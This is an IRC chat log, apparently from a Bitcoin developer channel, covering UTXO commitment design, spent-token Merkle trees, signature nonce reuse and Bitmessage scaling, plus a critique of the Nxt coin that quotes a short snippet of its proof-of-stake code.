14:13 < petertodd> which means if we figure out a better way to describe the deltas, we can change that without a fork
14:13 < maaku> ok i had some fuzzy thinking - i was thinking they would query for proofs by hash (of the delta itself)
14:13 < maaku> but that's silly
14:15 < maaku> on another note, I had a complex mechanism for structuring the final txout of the coinbase transaction, but I don't think that's necessary
14:15 < nsh> mathematically, is there likely to be a "canonical" way of describing the difference in the utxo set structure? (modulo some symmetries that are orthogonal to security/accounting)
14:15 < maaku> here's an easy rule: if last txout starts with OP_RETURN, concat the remainder of the script with the coinbase string
14:17 < maaku> nsh: it's a weird question. there are arbitrary choices and tradeoffs made in choosing/designing a Merkle structure
14:17 < maaku> but it's definately a requirement that there exist a canonical form of that structure
14:17 < nsh> well, many of those choices will be fork-constrained, i'd imagine
14:18 < maaku> fork constrained?
14:18 < petertodd> maaku: whats the op-ret rule for?
14:19 < maaku> petertodd: you start stuffing Merkle roots in the coinbase string and you quickly run out of room and/or crowd out other uses
14:19 < petertodd> maaku: right, but, how does that rule help?
14:19 < maaku> and changing the size of the coinbase string is a hard-fork ... so overflow to the last txout
14:19 < maaku> also, allows midstate compression
14:19 < nsh> nm, i gtg sociability :) merriment to ye all
14:20 < maaku> nsh: happy holidays
14:20 < petertodd> maaku: the only thing in the coinbase that's consensus right now is the height, so I'd be inclined to leave that situation the way it is rather than add even more complexity
14:20 < petertodd> nsh: later
14:21 < maaku> nsh: when you come back, there's a long debate in the UBC thread about what structure to use for the index
14:21 < maaku> prefix trees were chosen because anyone could reconstruct the canonical structure without knowing the entire spend history
14:22 < petertodd> right, but with needing to know the entire UTXO set, and with the disadvantage that adding anything to the set requires having to have the entire set
14:22 < petertodd> (though you can outsource the storage to others)
14:23 < maaku> petertodd: in a series of bips I will be proposing committing three 256-bit hashes (validation index, wallet index, arbitrary data committment)
14:23 < petertodd> maaku: what's the validation and wallet indexes exactly?
14:23 < maaku> validation is txid -> CCoins
14:24 < maaku> wallet index is what I've been calling the address index: txid:n -> unspent txout
14:25 < maaku> sory, scriptPubKey:txid:n -> unspent output
14:26 < maaku> i find it easier to explain to muggles if I call them based on what they are used for: txid keyed index for blockchain validation, scriptPubKey:txid:n index for lightweight wallet apps
14:26 < petertodd> maaku: suggestion: explain in detail how some examples of compact proofs could be made for various frauds
14:26 < maaku> petertodd: will do
14:26 < petertodd> maaku: being able to prove fraud compacting is a huge use-case for all this stuff
14:27 < petertodd> maaku: for instance you do need a merkle-sum-tree in there for txin/txout values
14:28 < maaku> petertodd: yes, both indices have nValue summation in the "extra" field
14:28 < petertodd> maaku: and while a bit less efficient, I'd be very inclined to ensure that tree must be distributed as part of some other use-case so we don't get into a situation where nodes stop passing it around
14:28 < petertodd> maaku: good
14:29 < petertodd> maaku: also, it should be easy to prove part of a transaction exists, IE, I shouldn't need the whole tx to just prove a single txout existed in it
14:30 < petertodd> maaku: now I guess scriptPubKey:txid:n -> unspent output works for that, but there needs to be something similar for the scriptSig case too - txid -> CCoins would probably better be txid -> merkle tree of txins + merkle tree of txouts
14:30 < maaku> petertodd: can you elaborate? I'm using a modified version of sipa's CCoins data structure which is basically metadata + compressed unspent outputs
14:31 < maaku> i see
14:31 < petertodd> maaku: suppose I have a 100KB transaction, can I prove it had a txout with a specific form without providing the whole transaction?
14:32 < petertodd> maaku: that txid tree is the perfect place to sum fees too: sum all transaction inputs and outputs, sum that, then sum all tx fees
14:32 < maaku> yes you'd only be providing the compressed outputs (33 bytes * number of unspent outputs, if they are standard form, plus a few bytes metadata)
10:39 < gigavps> my pool caps at 600k with 150k minimum
10:39 < Emcy> why 600
10:40 < gigavps> completely arbitrary
10:41 < gigavps> it was at 350k before, and we rarely create blocks that large
10:41 < gigavps> because of the recent ramp up of the network hashrate and tailing difficulty
10:42 < Emcy> see id have though most miners are actually pools where the node is in hosting of at leat 100mbit
10:43 < Emcy> so surely just pumping out 1mb blocks wont make relatively jack shit difference to orphan rate
10:43 < Emcy> specifically orphan rate due to fat blocks, instead of normal orphan rate due to sods law
10:43 < Emcy> if such a thing can even be measured
10:47 < jgarzik_> You don't just push out the block once, if you are a miner creating one
10:48 < Emcy> well really how many uploads does it take to seed into the network
10:49 < gigavps> Emcy jgarzik is saying that you push the block to every node you are connected to. so if you are connected to 125 nodes, then it is 125 * blocksize
10:49 < Emcy> maybe 3 or 4 to diverse subnets until it flood nicely?
10:49 < Emcy> how many sockets does a pool node usually have
10:51 < gigavps> Emcy we have many pool nodes
10:52 < Emcy> ok say top ten pools youre pushing to
10:52 < Emcy> thats just over a second even at the minimum of 100mbit right
10:58 < Emcy> oh theres something on the list about someone got some actual metrics about it. and im here on irc pulling numbers out of my ass
10:58 < Luke-Jr> gigavps: coming to the meetup?
10:58 < gigavps> what meetup?
10:58 < Luke-Jr> gigavps: same as last year, but in Brooksville!
10:59 < gigavps> probably won't make it, have a lot going on
11:00 < Luke-Jr> aww
11:00 < Luke-Jr> if you leave now you might make it in time!
11:00 < Luke-Jr> <.<
11:01 < gigavps> ahhh
11:01 < gigavps> thanks for letting me know
11:01 < Luke-Jr> XD
11:01 < Luke-Jr> next year we'll have to plan more in advance
11:06 < Luke-Jr> looks like forrestv is MIA anyway
11:53 < cfields> Ryan52: ping
12:30 < Ryan52> cfields: pong
18:22 < gmaxwell> Did I kill the thread here, or what? https://bitcointalk.org/index.php?topic=346008.0
18:25 < gmaxwell> maaku: when you get a chance, please help me understand how you think we can MMR a spent token database. I'm not getting it.
18:25 < gmaxwell> mmring a unspent token database is easy, because its naturally append only.
18:26 < maaku> it isn't append-only like peter's MMR
18:26 < maaku> it's an ordered tree of spent tokens
18:27 < gmaxwell> oh and you know your token ID in advance, so you know what part of the tree you need to maintan a proof for, even before you spend?
18:27 < maaku> to insert, you provide the path to where the spent token would go (demonstrating that the token has not been used)
18:27 < maaku> -- yes
18:28 < maaku> so you watch spends as they go by and update accordingly
18:28 < gmaxwell> Sorry, I don't know why that wasn't obvious to me 10 minutes ago. I've got it now.
18:28 < gmaxwell> Yea, that would work. Okay we really can oursource all these costs.
18:29 < gmaxwell> though we can't shrink the tree, any such system is going to have to be able to cope with a potentially very tall tree. (to some extent thats okay, the ZKP stuff really wants you to set the circuit execution time in advance)
18:31 < gmaxwell> The unspent token side has the nice property that its truly append only and write once, so tracking the proofs is really cheap. Alas we can't get that for the other side.
18:34 < maaku> yeah
18:35 < maaku> There is some small messiness, namely that proofs have to be updated for *every* spend in the series (although, 50% of the time it only requires modifying the top level, 25% the top two levels, etc.)
18:35 < gmaxwell> Is there a way to privately start tracking the required proof up front that doesn't require having the whole spent tree?
18:36 < maaku> Miners would have to do that themselves if there is more than one spend in a block.
18:36 < gmaxwell> maaku: I don't think so: I think you could accept a ... right I was about to say that.
18:37 < maaku> Still thinking about your question.
18:37 < maaku> In general, no, I think you would need to replay history
18:38 < maaku> Or otherwise have access to a whole tree
18:38 < maaku> This successfully moves work out of the validator, but is less than ideal in other respects :\
18:39 < gmaxwell> yea, okay, well thats alright, we basically get back to the MMR argument: there is now an economic incentive for people to keep the whole tree: people can show up and say "here is a transaction, and oh it pays you, but its proof is incomplete. Can you help?"
18:39 < maaku> Yeah.
18:39 < gmaxwell> and if you're worried about getting extorted in the future: keep your own copy of the data.
18:39 < gmaxwell> and it means we can pay people to run archive nodes.
18:40 < gmaxwell> and if you only recover the proof right at spent time there is no loss of anonymity.
18:40 < maaku> I can think of some very dumb ways to avoid that which people will undoubtably do and get themselves in trouble
18:40 < maaku> E.g, choose a secret within a range exposed by a recently seen proof, and start updating from there
18:41 < gmaxwell> well, if your token id is required to be the output of a hash function thats a bit hard.
18:41 < maaku> Ah that's true
18:42 < gmaxwell> I'm imaginging a system where your "token" is actually sha256(scriptPubkey),coinvalue
18:42 < gmaxwell> e.g. basically a bare p2sh utxo.
18:44 < maaku> Might as well even do that directly: ripemd160(sha256(scriptPubkey)), coinvalue, (4 bytes for something else?)
18:46 < gmaxwell> well maybe, in thinking about improved systems, I think at some point we should probably go to 256 bit security. Also the size of the unblinded coin isn't important for communicating to someone who wants to pay you, the only time its seen is on spend.
18:47 < maaku> 256-bit security as in 512 bit key/hash sizes?
18:47 < gmaxwell> maaku: well 256 bit security against second preimages. (which only requires a 256 bit output, so long as the hash's state space is large enough)
18:49 < maaku> Not against that in general, but the rest of the system is only 128-bit security, right? Are you in favor of increasing the security bits of the rest of bitcoin too (if possible)?
18:52 < gmaxwell> maaku: well you can more easily change the other things. E.g. adding another checksig operator is easy.
18:52 < gmaxwell> and non-hardforking.
18:59 < petertodd> maaku, gmaxwell: sounds very much like my TXIN commitment thought experiment - I simply incentivized miners to hold the relevant data by defining mining as some PoW on that data
18:59 < petertodd> maaku, gmaxwell: http://www.mail-archive.com/bitcoin-development@lists.sourceforge.net/msg03307.html
19:00 < gmaxwell> I don't even see a reason to incentivize miners to hold it.
19:00 < petertodd> gmaxwell: me neither, just incentivize someone too in such a way that there can never be incentives to withhold
19:01 < petertodd> gmaxwell: though you need to be very careful to ensure that the system can recover if some of the data gets lost
19:02 < petertodd> Note how bitcoin recovers from blockchain data getting lost: this causes a fork which is overtaken sooner or later.
19:03 < maaku> petertodd: you mean permanently, 100% globally lost?
19:04 < maaku> how does bitcoin recover from that?
19:04 < maaku> -- oh wait, i get it
19:04 < petertodd> maaku: lost from the public sphere yes
19:04 < maaku> the new "fork" starts from where the history was lost
19:04 < maaku> not from the current block
19:04 < gmaxwell> petertodd: well if you can get paid helping people complete their proofs, thats a pretty awesome incentive.
19:04 < gmaxwell> way better than mining, IMO
19:05 < petertodd> maaku: mainly I'm more worried that you can easily create systems that give people incentives to withhold data and just broadcast the PoW - bitcoin is way too close to being such a system itself
19:05 < petertodd> gmaxwell: yeah, although be careful it's not the main way to earn income in the scheme - that's a business that naturally centralizes so it must be independent from the PoW security of the system
20:11 < cfields> Ryan52: sorry, missed your pong earlier today
20:11 < cfields> Ryan52: was just curious if you got any further in reproducing the build
22:05 < gmaxwell> I laughed too much at this: http://www.smbc-comics.com/?id=3186#comic
22:15 < petertodd> gmaxwell: Meanwhile the mathematician: "Let I, the Iliad, be a spherical novel of unit radius..."
22:17 < petertodd> wait, no, a mathematician would generize to non-euclidian novels as well...
22:17 < petertodd> *generalize
22:17 < gmaxwell> I suppose an epic poem is isomorpic to a novel upto projection.
22:18 < petertodd> Right! and a "...enter a bar" joke is isomorphic to an epic poem! ah, good, we've reduced this one pretty quickly to something we already know.
22:44 < warren> "mcxNOW is shutting down for a period of time - "Withdraw all your coins before December 20th"
22:44 < warren> anyone surprised?
22:44 < warren> realsolid is very solid
23:10 < gmaxwell> very surprised.
23:10 < gmaxwell> that it wasn't "omg hax, oh look no coins"
23:14 < phantomcircuit> gmaxwell, that's a far more economically effective ploy
23:17 < pigeons> seems weird
23:20 < phantomcircuit> pigeons, what about it seems weird?
23:21 < pigeons> "i'm making money off you, i'm gonna stop now"
23:21 < phantomcircuit> pigeons, accounts that will be unclaimed before december 20th are almost certainly worth more than running it for decades
23:21 < pigeons> ah
23:22 < phantomcircuit> if i pulled that shit with intersango right now i'd be laughing all the way to the bank
23:22 < phantomcircuit> well actually i'd probably be laughing all the way to jail
23:22 < phantomcircuit> but nobody knows who he is
23:24 < gmaxwell> well, as I've lamented before, a friend of mine lost 20 BTC in the tradehill shutdown and hasn't yet been able to recover it
23:24 < gmaxwell> At some point it'll be worth the lawsuit.
19:31 < petertodd> gmaxwell: right, although you could do a checksig that did bip32 with some kind of crazy 1-of-m multisig essentially, although at the cost of privacy
19:31 < gmaxwell> And they're planning on doing this with the ed25519 curve.
19:31 < gmaxwell> And I don't think they've yet realized that they won't be able to use the standard implementation
19:31 < jtimon> separate issue, does what I said here make any sense? Is Flavien right? https://groups.google.com/d/msg/bitcoinx/Nq_8dkC3zqU/h_aqRA5A7TkJ
19:31 < gmaxwell> (I only realized this because I went and tried to implement ed25519 for bitcoin)
19:32 < gmaxwell> petertodd: BIP32 perhaps, but not the privacy purposes of it.
19:32 < gmaxwell> Or stealth addresses.
19:32 < gmaxwell> Which is basically the same usecase tor has.
19:32 < petertodd> gmaxwell: yup, although OTOH a merkle tree would do it, at the cost of size
19:32 < gmaxwell> (and incidentally, tor is working on a rigorous security proof for their derrivation scheme, though last I checked they hadn't made much progress)
19:33 < gmaxwell> petertodd: not for privacy, I could see your hashroot was the same. :P
19:33 < petertodd> jtimon: it makes sense
19:34 < petertodd> gmaxwell: no, the hash root would be of n pubkeys, and if you could spend any one of them you can spend the txout. each pubkey is still bip32-style secure, although there is a 1 in 2^256 chance of not being able to spend the txout (or whatever the math is)
19:34 < jtimon> petertodd: thanks, so Flavien is wrong saying you can reuse an address to sign securely 100 times a day even if you don't care about privacy
19:35 < petertodd> jtimon: well, the bigger thing is that you should just have the definition of a valid ccoin txout be "whatever the issuer signs", with a separate merkle sum tree for auditing purposes
19:36 < petertodd> jtimon: your proof that your ccoin is valid just needs to be that the signature on the genesis txout was valid
19:36 < maaku> jtimon: the chance of choosing the same K value is exceedingly low ... unless you have a bad RNG, in which case it is exceedingly high
19:36 < gmaxwell> petertodd: oh god, you mean using lots of bip32 keys just to make sure you get one where the MSB is 1?
19:37 < petertodd> gmaxwell: yes! not that I ever said it was a good idea :P
19:37 < gmaxwell> petertodd: dear god, that idea ... so bad. ... must stab
19:37 < jtimon> petertodd, flavien is talking about "inflatable colored coins" in which the same address can be used to just issue more
19:37 < maaku> If you assume your RNG is good or use deterministic signatures, key reuse is not a problem (from that perspective only)
19:37 < petertodd> gmaxwell: pity you can't stab someone over the internet
19:37 < jtimon> so maaku says flavien is right...
19:37 < gmaxwell> I'm pretty sure there is an onion site for that.
19:37 < petertodd> jtimon: yes, which is a dumb idea, just use the signature to sign a message saying some arbitrary txout is colored
19:38 < maaku> but you still wouldn't want to tie it to an unchanging address anyway, for a multitude of other reasons
19:38 < maaku> jtimon: he is not factually incorrect when he says "Signing a billion transactions per second, it would still take you hundreds billion times the age of the universe before you have 1% chance of collision."
19:38 < maaku> (assuming perfect RNG or deterministic signatures)
19:39 < gmaxwell> petertodd: you ever hear about how the signature systems which are based on one-time-hash based signatures but allow ~infinite signatures work?
19:39 < maaku> but those are invalid assumptions for real-world cryptography
19:39 < petertodd> gmaxwell: of course, which is why I expected the idea to raise your blood pressure :P
19:40 * petertodd has been paid off by the NSA to kill gmaxwell via heart disease
19:40 < maaku> where with a bad RNG (or a reused seed value on a VM) it only take two signatures to give up the key
19:44 < jtimon> maaku I was going to answer something like "thank you for the clarification, then addresses is still the right approach for inflatable basic CC, but since we have tokens in freimarkets for other reasons, they're still more convenient for re-issuance as well"
19:46 < maaku> jtimon: it's not just a matter of convience. it lets you have more control over operational security, for example by having one key per signing server and local protections against K reuse
19:47 < maaku> which would protect you against spinning up two separate servers, who each sign separate messages with the same K value
19:47 < warren> petertodd: I knew it!
19:47 < maaku> (due to saved random state in the VM image and a lack of entropy)
19:47 < justanotheruser> Is bitmessage off topic here?
19:48 < maaku> justanotheruser: so long as it involves arcane spell
19:48 < maaku> s
19:48 < justanotheruser> ?
19:48 < jtimon> well the "one address" in colored coins could be a p2sh multisig or whatever, by convenience I also mean that more control
19:49 < maaku> jtimon: yes, but in the example I gave you need tokens because you need a new key every time you spin up a server, and eventually you run out
19:50 < jtimon> tokens allow you to change the p2sh one addres doesnt
19:50 < maaku> although if you had bip-32 in script...
19:50 < maaku> yes
19:50 < maaku> if you could do bip-32 derivation in script though, you could get by with a single address
19:51 < justanotheruser> Anyways, how well does bitmessage scale? Would it work with 10 million users?
19:51 < jtimon> not if you want to radically change the config
19:51 < maaku> yeah
19:52 < gmaxwell> justanotheruser: scaling is largely in terms of the anonymity set size.
19:53 < gmaxwell> justanotheruser: they kinda waved their hands at the streams stuff in their initial writeup though so the mechnisms needed to get people onto different streams is unde(rde)fined.
19:53 < justanotheruser> Nice use of parenthesis there. How is scaling in terms of the anonymity set size? Will the network break into sections or something?
19:54 < gmaxwell> justanotheruser: the idea is that the POW would increase to keep the datarate in a stream sane. And thus that would push people off onto other streams where the pow was lower (but the anonymity set smaller).
19:55 < petertodd> ...which is basically what sane people propose for consensu blockchains in general.
19:55 < justanotheruser> I see. And there is no in depth explanation for their streams?
19:55 < petertodd> it's just that how that'll actually work in bitmessage si a lot more obvious - no "oops I let a tx spent a bit of dust that didn't actually exist" problem
19:55 < petertodd> justanotheruser: not that I've seen
19:56 < gmaxwell> there is a stream setting on addresses, so the stream stuff is implemented but no 'fee intelligence' if you will.
19:56 < petertodd> justanotheruser: you can also do steams based on sharding H(addr) space (roughly speaking)
19:56 < gmaxwell> I think they don't quite have the incentives well aligned. they guy sending to you pays the pow for your choice of stream.
19:57 < gmaxwell> so, duh, yea, of course I'm going to pick stream 0.
19:57 < gmaxwell> let you suckers pay the cost of messaging me.
19:57 < petertodd> gmaxwell: yup, although another way to look at it, is the person messaging you is picking the size of the anonymity set thye want *their* message to be in
19:57 < justanotheruser> Well there is an incentive to have someone message you right?
19:57 < justanotheruser> I mean to send a message
19:58 < justanotheruser> So if you don't agree on the stream then it wouldn't be sent
19:58 < petertodd> justanotheruser: yup, and stream would be part of addr
19:58 < gmaxwell> petertodd: well no the recipent picks the the stream. Not the sender, and thats generally good because its the recipents privacy that is triciker.
19:58 < gmaxwell> I think the incentive issue is probably not fatal, as justanotheruser says
people want to recieve messages.
19:58 < gmaxwell> But it is interesting.
19:59 < petertodd> gmaxwell: right, but you can easily imagine a system where you have receivers listening to some fraction of the addr space by prefix, and senders get to pick how much of the prefix they match based on how much pow they spend
19:59 < petertodd> gmaxwell: limit bandwidth based competition for a given prefix specificity
20:00 < petertodd> gmaxwell: hilariously, that matches really well to what PoW algorithms actually do... but in the exact wrong way
20:01 < justanotheruser> How does the reduced anonymity effect the anonymity of coinjoins? Does it even matter?
20:01 < petertodd> justanotheruser: depends on how anonymous you want to be...
20:01 < gmaxwell> I don't know that it even matters. ... though I assume anyone would use bitmessage over tor.
20:03 < petertodd> justanotheruser: oh, you mean coinjoin over bitmessage? meh, bitmessage isn't a great message layer for cj anyway from a usability perspective
20:04 < gmaxwell> petertodd: there are no more sutiable traffic analysis resistant privacy networks.
20:04 < justanotheruser> petertodd: Why not? I would think it is great, it just needs a layer on top of it to handle it
20:04 < petertodd> justanotheruser: needing a PoW to send a message is ugly vs. using fees for it
20:04 < petertodd> justanotheruser: and you can use fees to pay for it with the nLockTime trick
20:05 < justanotheruser> petertodd: I think gmaxwells idea of using PoS is better.
20:05 < justanotheruser> People don't really want to pay double fees, one for the message and one for the coinjoin.
20:06 < petertodd> justanotheruser: you don't have too though, you make a nLockTime'd tx spending one input, and then respend it in the coinjoin
20:06 < petertodd> justanotheruser: either way you spend some tx fee, and you can arrange all of this such that the attacker doesn't learn much
20:06 < justanotheruser> petertodd: how would you determine the coinjoin tx without being able to communicate with the network first?
03:57 < warren> hence you charge more
03:58 < warren> it can spit out VM's for block explorers, *cointalk.org SMF, bribe form letter to <exchange>
03:58 < warren> make it very easy
03:58 < warren> programmatically create a shill army too
03:58 < warren> mechanical turk?
04:00 < sipa> [ ] Use less than 2 year old Butcoin source code {+.3 BTC}
04:00 < sipa> ehm... that actually is a typo, i meant Bitcoin
04:01 < BlueMatt> well if you dont pay it forks buttcoin instead
04:01 < gmaxwell> well buying and selling accounts on bitcointalk is permitted.
04:01 < gmaxwell> so you can even one-stop buy your shill army.
04:02 < warren> would you sell after-sale support?
04:02 < warren> 1 BTC/hour
04:02 < warren> NO WARRANTY
04:03 < sipa> [ ] Use doge-styled shill army posts
04:04 < sipa> actually, the opposite perhaps should cost money
04:04 < sipa> so we'll get easily recognizable dummy posts by defauly
04:06 < warren> http://aurawallet.com/ somehow this site causes chrome to use 100% of 4 cores. maybe I'm mining for them. =P
04:08 < midnightmagic> lol
04:12 < midnightmagic> it would be an excellent example of why scamcoins are pointless. what a statement.
04:14 < warren> what's up with this Nxtcoin thing? written in java. entirely premined.
04:14 < _ingsoc> 100% PoS apparently. 71 one people own all of it. Yup. :/
04:15 < _ingsoc> No mining! It's a winner.
04:15 < _ingsoc> They figured out to do what Bitcoin does and more with no mining necessary. I bet you're all feeling pretty dumb right now.
04:15 < gmaxwell> 100% PoS? does it suffer from the nothing-at-stake attack that PPC originally did then?
04:16 < gmaxwell> or is it a consenus that requires quadratic communication, requires all nodes with stake to be online, and is trivally jammed by any participant?
04:17 < warren> the PoA design sounded great in that regard, except after we realized it encourages banking cartels.
04:18 < gmaxwell> well, glad to hear that its something different.
04:18 < gmaxwell> "Nxt doesn
aka predicates. This simplifies and accelerates transaction processing. Advanced features like multisig will be created on top of the core as 3rd party services."
04:18 < gmaxwell> hopefully '3rd party services' means something domain specific.
04:19 < warren> sounds like they will have centeralized issuers like ripple
04:19 < warren> sounds very much like ripple
04:19 < warren> including the not open source part
04:19 < gmaxwell> yea, indeed not open source 0_o crazy
04:21 < _ingsoc> warren: That was my first thought too.
04:22 < gmaxwell> apparently it's currently being dossed and they are trying to train a "Neural net" to remove spam.
04:23 < _ingsoc> gmaxwell: Nxt?
04:23 < gmaxwell> yea, I can't find anything about how it works though.
04:23 < gmaxwell> apparently it's a blockchain, so that probably rules out it being a standard quadratic consensus.
04:23 < gmaxwell> which probably means its vulnerable to the nothing at stake attacks.
04:27 < warren> I was thinking, woudl there be a way to cancel out the extra orphan risk of larger blocks
04:27 < gmaxwell> oh wow, this is partially the work of that Come-from-Beyond guy...
04:28 < warren> if the difficulty was fudged by some factor of the transactions (quantity, days destroyed, fees, or something)
04:28 < _ingsoc> gmaxwell: Has he done anything else?
04:28 < _ingsoc> That we know of.
04:29 < gmaxwell> beyond being a confused jerk on the forums?
04:29 < gmaxwell> what a bummer.
04:29 < gmaxwell> after seeing that I'd estimate less than 1% chance that it works.
04:30 < _ingsoc> xD
04:30 < gmaxwell> I guess thats part of why I didn't see it, I have him on ignore on the forum.
04:30 < gmaxwell> https://bitcointalk.org/index.php?topic=352286.msg3794431#msg3794431
04:31 < _ingsoc> Hahaha.
04:31 < _ingsoc> Do you know why he's on ignore?
04:31 < _ingsoc> Not to detract.
04:35 < gmaxwell> no idea, but it would be the same as anyone else
nasty*ignorant > threshold.
04:35 < midnightmagic> but.. it's in java. who cares if he releases the code?
04:35 < _ingsoc> ^^
04:37 < gmaxwell> I don't agree. I don't personally like java, but its currently the language I'd prefer any mediocre programmer use if I'm ever to run their software at all.
04:38 < midnightmagic> oh I just meant that unless he's running weird obfuscators it can be decompiled to fairly readable
04:38 < _ingsoc> I couldn't care less about all these coins. They should have the right to present their ideas and get the support if people want to. I just wish it wasn't so damn sketchy. How many people now have just taken money or made absurd promises? Countless people have been suckered into that type of belief system, and that sucks.
04:38 < _ingsoc> gmaxwell: Mediocre programmers should be roping people in. :/
04:38 < gmaxwell> uh.. nxtcoin addresses appear to be 20 base 10 digits... 66 bits? 0_o
04:39 < _ingsoc> shouldn't*
04:42 < gmaxwell> this thing is amazing.
04:42 < gmaxwell> it's like every bad idea multipled into an swimming orgy of bad ideas.
04:43 < gmaxwell> it _forces_ you to use brainwallets.
04:43 < gmaxwell> and the addresses are ~20 base 10 digits, based on a kind of first bits system where the system remembers the first pubkey it's seen spend for any prefix and then always uses that pubkey.
04:44 < sipa> wait, parts are closed source?
04:45 < gmaxwell> sipa: it's all closed source except for some small parts they released.
04:45 < _ingsoc> Reasoning?
04:47 < gmaxwell> well it's an entirely premined coin.
04:47 < midnightmagic> so.. much.. development effort that could have been put to constructive use. :( gaw how disappointing.
04:47 < gmaxwell> it doesn't appear to actually be that much.
04:48 < sipa> "a single source file", "no comments"... these guys are satoshi reborn!
04:48 < _ingsoc> Hahaha.
04:49 < maaku> _ingsoc: the problem is that ignorant people with money to invest actually find these things more credible than real projects :\
04:50 < gmaxwell> here is their PoS mining code in their early source release:
04:50 < gmaxwell> int elapsedTime = getEpochTime(System.currentTimeMillis()) - lastBlock.timestamp;
04:50 < gmaxwell> if (elapsedTime > 0) {
04:50 < gmaxwell>
04:50 < gmaxwell> BigInteger target = BigInteger.valueOf(Block.getBaseTarget()).multiply(BigInteger.valueOf(account.getEffectiveBalance())).multiply(BigInteger.valueOf(elapsedTime));
04:50 < gmaxwell> if (hits.get(account).compareTo(target) < 0) {
04:50 < gmaxwell>
04:50 < gmaxwell> account.generateBlock(user.secretPhrase);
04:50 < _ingsoc> maaku: I think you'd be surprised. There are so many people who are new to this field looking to be part of something that they can grow with. That's the appeal. So they justify "investing" money they might not have because their urge to be part of it outweighs rational thought about the project itself.
04:52 < gmaxwell> no, having talked to VCs, maaku's characterization appears to be spot on. Wild, unsupported, even impossible claims add credibility. I think people seem to believe that you'll actually accomplish some fixed percentage of what you claim to, so the guy who claims infinite things is obviously the best.
04:53 < _ingsoc> True, I'm not denying there wouldn't be bigger money involved, but you bet there are smaller guys getting burned by these things.
04:54 < _ingsoc> But I guess you do your research and go with what you believe in.
04:54 < gmaxwell> yea, this is totally vulerable to a nothing at stake attack.
04:55 < gmaxwell> they create ECDSA signatures of a candidate block and hash them, then compare them to a target that depends on time and the value of that account.
04:56 < gmaxwell> so of course, the same attack PPC got nailed with applies trivially.
04:56 < maaku> yeah Jorge and I have talked to quite a few VCs trying to get funding for Freimarkets. it always seems like we're at a perpetual disadvantage by only claiming what we think can be reasonably achieved
04:57 < sipa> gmaxwell: yes, but if the mining code is not open sourced, that is no problem, right? :p
04:57 < maaku> and in VC eyes, a project that got funding is treated as credible (assuming that someone somehwere did due diligence, I suppose)
04:59 < gmaxwell> pretty sure I can just hack the java bytecode directly here to make it mine all the blocks.
04:59 < gmaxwell> it just needs one extra wrapping loop, with a break when its actually successful. :P
05:05 * midnightmagic grits teeth and discovers more reasons why macports feels broken
05:06 < midnightmagic> https://trac.macports.org/ticket/35358#comment:28
05:40 < gmaxwell> wow: ... this thread has gone a bit pear shaped since I last looked at it!!! https://trac.torproject.org/projects/tor/ticket/8106
06:22 < jtimon> gmaxwell what java bytecode can you hack?
06:28 < _ingsoc> jtimon: Nxt.
06:40 < jtimon> oh, Nest, thank you
06:41 < jtimon> wasn't that source closed? I assumed it was a ripple fork
06:52 < _ingsoc> They've released some snippets apparently.
07:15 < gmaxwell> So random not very bitcoin idea.
07:16 < gmaxwell> Tor HSs have had some amount of problems with attackers exploiting the now-popular vanity addresses.
07:16 < gmaxwell> onion addresses are only 80 bits long, 5 bits per character, and there are super fast gpu vanity generators, so some not nice people have been generating lookalike names and then leaving links around.
07:18 < gmaxwell> Some future HS system could make lookalike attacks much harder by requring any HS address generation to also generate a lookalike address. You prove you have your required lookalike by just disclosing the second address inside your HS directory entry, so the urls are no longer.
07:19 < gmaxwell> And the advantage of this is that since it's a collision a 64 bit lookalike takes only ~2^32 operations. But someone trying to pick a specific value instead of pick only any two similar ones, has a much harder time.
14:19 < nsh> petertodd, i'd enjoy reading such a description
14:19 < maaku> oh maybe we mean different things
14:20 < nsh> or such a write-up, even
14:20 < petertodd> well, I was thinking "this is how you use UTXO commitments to make namecoin work, and/or make namecoin on the bitcoin blockchain because I'm evil"
14:20 < maaku> oh ok yes, I would like that to understand better your worry
14:21 < petertodd> yup, and it's actually rather relevant to my new dayjob too... utxo commitments could be quite handy for things like mastercoin data feeds
14:21 < maaku> so this is totally offtopic then, but my namecoin 2.0 in a nutshell:
14:21 < nsh> not enough essay titles end with the phrase "...because i'm evil"
14:22 < petertodd> nsh: lol
14:22 < maaku> add another coinbase committed prefix tree that persists from block to block
14:23 < maaku> and add soft-fork opcodes to insert/update into this tree, using pushdata proofs
14:24 < maaku> and signatures for updates (the first bytes of the value field being a length-prefix encoded scriptPubKey)
14:24 < petertodd> right, basically you're adding state to the scripting language
14:24 < nsh> (what could go wrong...)
14:25 < petertodd> what vitalik's ethereum thing should have focused on rather than getting into the nitty-gritty of the language IMO
14:26 < maaku> nsh: so you can have another way to double-spend a transaction, in a way that is observable to anyone who understands this soft-fork. what's the issue?
14:26 < petertodd> nsh: well, the key thing is to charge fees for every time the scripts run rather than allow them to run unhindered, on every block, multiplying and multiplying, consuming, EVERYTHING
14:26 * nsh nods
14:27 < petertodd> (though petri-coin is suddenly sounding *really* attractive...)
14:27 * nsh registers graygoocoin
14:27 < maaku> hehe, jtimon and I said basically the same thing to vtalik...
14:31 < petertodd> yeah, although that still assumes a model where you are outsourcing validation to miners - pure proof-of-publication schemes are IMO superior
14:31 < maaku> but anyway, that's part of why I find it a little hard to follow the UTXO namecoin objection ... there's a very easy pathway to namecoin-over-bitcoin which is stateless, scales better, and requires very little validation effort
14:31 < maaku> petertodd: you need consensus, no?
14:31 < petertodd> maaku: the only consensus you need is what data has been published and in what order
14:32 < petertodd> maaku: the objection is that things never expire out of the UTXO set, and to insert new items into it you need the whole damn thing
14:32 < maaku> ok, so you can do the same thing with the document-timestamper solution and not even need the soft-fork
14:32 < petertodd> maaku: maybe not you personally, but someone has to have it
14:33 < petertodd> maaku: actually no you can't - timestamping is only part of proof-of-publication
14:33 < maaku> and have people's view of the DNS database be eventually consistent
14:33 < maaku> petertodd: what's the other part?
14:33 < nsh> bunga bunga parties on the moon
14:33 < petertodd> well, the proof that your data actually got to people
14:34 < petertodd> IE, I can timestamp data that I have kept hidden all to myself
14:34 < nsh> well, proof-of-existence should be differentiates from proof-of-dissemination
14:34 < petertodd> only proof-of-publication can be used to solve the double-spend problem
14:34 < nsh> *differentiated
14:34 < maaku> yes, which is why I suggested soft-fork miner verification (although they throw away the data as soon as it is published)
14:34 < jrmithdobbs> ya, you need timestamps from observers and then the rabbit hole starts getting deeper and deeper
14:34 < petertodd> jrmithdobbs: no, not timestamps, proof-of-work/sacrifice
14:35 < maaku> really? why?
14:35 < maaku> if you have the data, you can broadcast it anytime at your convenience
14:35 < petertodd> right, which is the *problem*
